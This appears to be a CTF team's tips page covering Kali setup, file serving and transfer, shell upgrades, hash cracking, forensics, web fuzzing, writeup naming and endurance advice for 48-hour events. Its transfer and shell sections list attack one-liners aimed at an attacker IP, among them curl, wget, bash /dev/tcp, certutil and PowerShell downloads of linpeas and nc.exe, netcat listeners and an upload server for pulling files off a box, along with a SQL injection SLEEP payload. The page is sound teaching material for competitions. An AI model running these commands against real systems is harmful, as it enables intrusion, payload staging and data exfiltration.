CTF tips & tricks
The commands we retype every event, the naming convention that keeps our writeups findable, and the human side — which is what actually decides where you place in a 48-hour event.
Preparation
Kali via Docker — fastest way to a shell
docker run -it --rm kalilinux/kali-rolling /bin/bash # once inside, the ISO's toolset is one line away: apt update && apt install -y kali-linux-headless
No VM, no ISO, gone when you exit --rm. Good for a quick tool you do not want to install on the host; not a substitute for a real Kali box on your own machine.
Kali on WSL2 (Windows)
wsl --install -d kali-linux # then, inside the WSL shell: sudo apt update && sudo apt full-upgrade -y sudo apt install -y kali-linux-headless kali-win-kex
kali-win-kex gets you the full desktop over WSL if you want it. Parrot OS and BlackArch cover the same ground if Kali is not to your taste — the tooling below is distro-agnostic either way.
Bare metal or a VM — verify the ISO before you trust it
sha256sum kali-linux-*-installer-amd64.iso # compare against the hash published on kali.org/get-kali — never a mirror's own page
A CTF box is a fine place to run untrusted binaries; the OS you booted it from is not the place to skip a checksum.
Python 2 back on a modern Kali/Debian
# Debian/Kali dropped python2 from the default install years ago; get it back explicitly sudo apt install -y python2 python2-dev curl -s https://bootstrap.pypa.io/pip/2.7/get-pip.py -o /tmp/get-pip2.py sudo python2 /tmp/get-pip2.py
Half of exploit-db and a good few CTF pwn scripts still assume python2's print statement and str/bytes handling. This is the fastest path back to being able to run them.
python2 and python3 side by side, at fixed paths
# never touch /usr/bin/python — apt and the base system assume python3 lives there sudo mkdir -p /opt/langs/bin sudo ln -s "$(command -v python2)" /opt/langs/bin/python2 sudo ln -s "$(command -v python3)" /opt/langs/bin/python3 echo 'export PATH="/opt/langs/bin:$PATH"' >> ~/.bashrc
A dedicated path you control beats fighting update-alternatives every time a package upgrade resets it. python2 and python3 stay both callable by name, explicitly, forever.
Per-challenge virtualenvs (the reliable way to keep deps apart)
python3 -m venv .venv3 && source .venv3/bin/activate && deactivate # python2 has no venv module of its own — use virtualenv instead python2 -m pip install --user virtualenv python2 -m virtualenv .venv2 && source .venv2/bin/activate
One challenge wanting pycrypto and another wanting pycryptodome is a daily CTF occurrence — a venv per challenge directory means neither install ever fights the other.
Serving files
Quick HTTP server in the current directory
python3 -m http.server 8000 # bind to one interface only: python3 -m http.server 8000 --bind 10.10.14.7
The workhorse. Serves the directory you are standing in.
HTTP server that accepts uploads
python3 -m uploadserver 8000 # pip install uploadserver
When you need to get files off the box, not onto it.
PHP and Ruby one-liners
php -S 0.0.0.0:8000 ruby -run -e httpd . -p 8000
For when python is not on the box but something else is.
SMB share for Windows targets
impacket-smbserver share $(pwd) -smb2support # with credentials, which modern Windows insists on: impacket-smbserver share $(pwd) -smb2support -user ctf -password ctf
Then \\10.10.14.7\share from the target.
Instant FTP or TFTP
python3 -m pyftpdlib -p 21 -w sudo python3 -m tftpy.TftpServer 69 .
Old protocols are still the easiest path off restricted hosts.
Moving files
Download to a target
curl -sO http://10.10.14.7:8000/linpeas.sh wget -q http://10.10.14.7:8000/linpeas.sh # no curl or wget: exec 3<>/dev/tcp/10.10.14.7/8000; echo -e 'GET /f HTTP/1.0\n' >&3; cat <&3
The bash /dev/tcp trick works on stripped containers.
Windows download
certutil -urlcache -f http://10.10.14.7:8000/nc.exe nc.exe powershell -c "iwr http://10.10.14.7:8000/nc.exe -OutFile nc.exe"
certutil is signed and present everywhere.
Transfer over netcat
# receiver nc -lvnp 9001 > out.bin # sender nc 10.10.14.7 9001 < in.bin
No protocol overhead, no logs, no fuss.
Base64 through a shell
base64 -w0 file.bin # on the other side: echo '<paste>' | base64 -d > file.bin
When all you have is a text field or a blind shell.
Shells
Upgrade a dumb shell to a real TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# then background with ^Z and:
stty raw -echo; fg
export TERM=xterm; stty rows 50 cols 200
Gives you tab completion, arrow keys, and survives ^C.
Listener that does not die
rlwrap nc -lvnp 4444
rlwrap adds history and line editing to any listener.
Encoding, hashes and crypto
Identify and crack a hash
hashid '$2y$10$...' hashcat -m 3200 hash.txt rockyou.txt john --wordlist=rockyou.txt hash.txt
hashid first — cracking the wrong mode wastes hours.
XOR and frequency work
xortool -c 00 encrypted.bin
python3 -c "print(bytes(a^0x42 for a in open('f','rb').read()))"
Single-byte XOR is the most common lazy obfuscation.
RSA with small or shared factors
python3 RsaCtfTool.py --publickey key.pub --uncipherfile cipher.bin # factordb is often enough: curl 'http://factordb.com/api?query=<n>'
Always try factordb before anything clever.
Forensics and stego
First four commands on any file
file suspicious.bin strings -n 8 suspicious.bin | less binwalk -e suspicious.bin exiftool suspicious.bin
Or just drop it on our /dump page and read the report.
Images
zsteg -a image.png steghide extract -sf image.jpg stegsolve image.png
zsteg for PNG/BMP, steghide for JPEG with a passphrase.
PCAP triage
tshark -r capture.pcap -q -z io,phs tshark -r capture.pcap -Y 'http.request' -T fields -e http.host -e http.request.uri foremost -i capture.pcap -o carved/
Protocol hierarchy first — it tells you where to look.
Web
Content discovery
ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc all -fc 404 gobuster dir -u http://target -w wordlist.txt -x php,txt,bak
Filter by size once you see the default 404 body.
Subdomain and vhost fuzzing
ffuf -u http://target -H 'Host: FUZZ.target' -w subdomains.txt -fs 1234 subdigger -d target.com --json
Our own subdigger pulls certificate transparency in too.
SQLi and injection basics
sqlmap -u 'http://target/?id=1' --batch --dbs # time-based check by hand: ' OR SLEEP(5)-- -
Do the manual check first; sqlmap is loud.
Naming your writeups
One convention, so a writeup is findable two years later by someone who was not there:
<ctf_name>_<category_name>_<challenge_name>.pdf <ctf_name>_<category_name>_<challenge_name>.md cyberapocalypse2026_web_saltcrown.md hacklab2025_pwn_babyheap.pdf squarectf2026_crypto_rsa-warmup.txt
- Lower case, underscores between the three parts, dashes inside a part.
- No spaces, no dates in the filename — the site records those.
- PDF, Markdown or plain text. Markdown renders directly on the site, so it is the friendliest to read.
Upload through the writeup form and the competition, category and challenge become searchable fields — the filename is then only a fallback.
Organising the team during an event
- One channel per category.
#ctf-web,#ctf-pwn,#ctf-crypto. Cross-talk in one big channel means nobody can find anything at hour 20. - Claim before you start. Post "taking challenge" before you open it. Two people burning four hours on the same challenge is the most common way teams lose points.
- Say what you tried and why. Even a failure is intel: "the LFI works but I cannot get past the extension filter" saves the next person an hour.
- Post the flag and a two-line method the moment it lands. Not the full writeup — just enough that somebody else can build on it.
- Keep a pinned scoreboard message of what is solved, claimed and stuck. Update it, or it is a lie by hour six.
- Hand off deliberately. Going to sleep? Post your notes, your foothold and your access before you do.
Holding your place on a CTFd scoreboard
- Sweep the easy challenges first. Dynamic scoring means an easy challenge everyone solves is worth almost nothing — but zero solves is worth exactly nothing.
- Watch decay. On dynamic scoring, points fall as solves rise. Early solves on a hard challenge are worth several easy ones.
- Do not hoard flags. Submit as you go. Teams that save submissions for a dramatic finish lose to a network outage.
- Check for first-blood bonuses in the rules; if they exist, prioritise differently.
- Re-read the challenge text when stuck. The hint you dismissed at hour two is usually the answer at hour twenty.
The part nobody writes down
A 48-hour CTF is an endurance event. The team that places well is usually not the smartest one — it is the one still thinking clearly on Sunday morning.
- Drink water. Genuinely. Most "I cannot think" moments at hour 30 are dehydration, not difficulty.
- Go easy on the energy drinks. Three in a row buys you two good hours and costs you six. Alternate with water.
- Eat something that is not crisps. Order real food early, before nobody has the energy to decide.
- Power naps work. Twenty minutes beats another can. If you have been stuck for an hour, sleep is a legitimate debugging strategy.
- Stand up and walk around. Every hour or two. An astonishing number of solutions arrive on the way to the kitchen.
- Take real breaks. Staring harder at the same terminal is not progress.
- Hit a wall? Hand it over. Post what you have and let someone else look. They will spot the obvious thing you stopped seeing three hours ago — this is not failure, it is how teams work.
- Ask for help early. Nobody on this team thinks less of you for asking. We do think less of six wasted hours.
- Say when you are done. "I am out, here are my notes" is a contribution. Silently disappearing is not.
And afterwards: write it up while you still remember. Tomorrow you will not.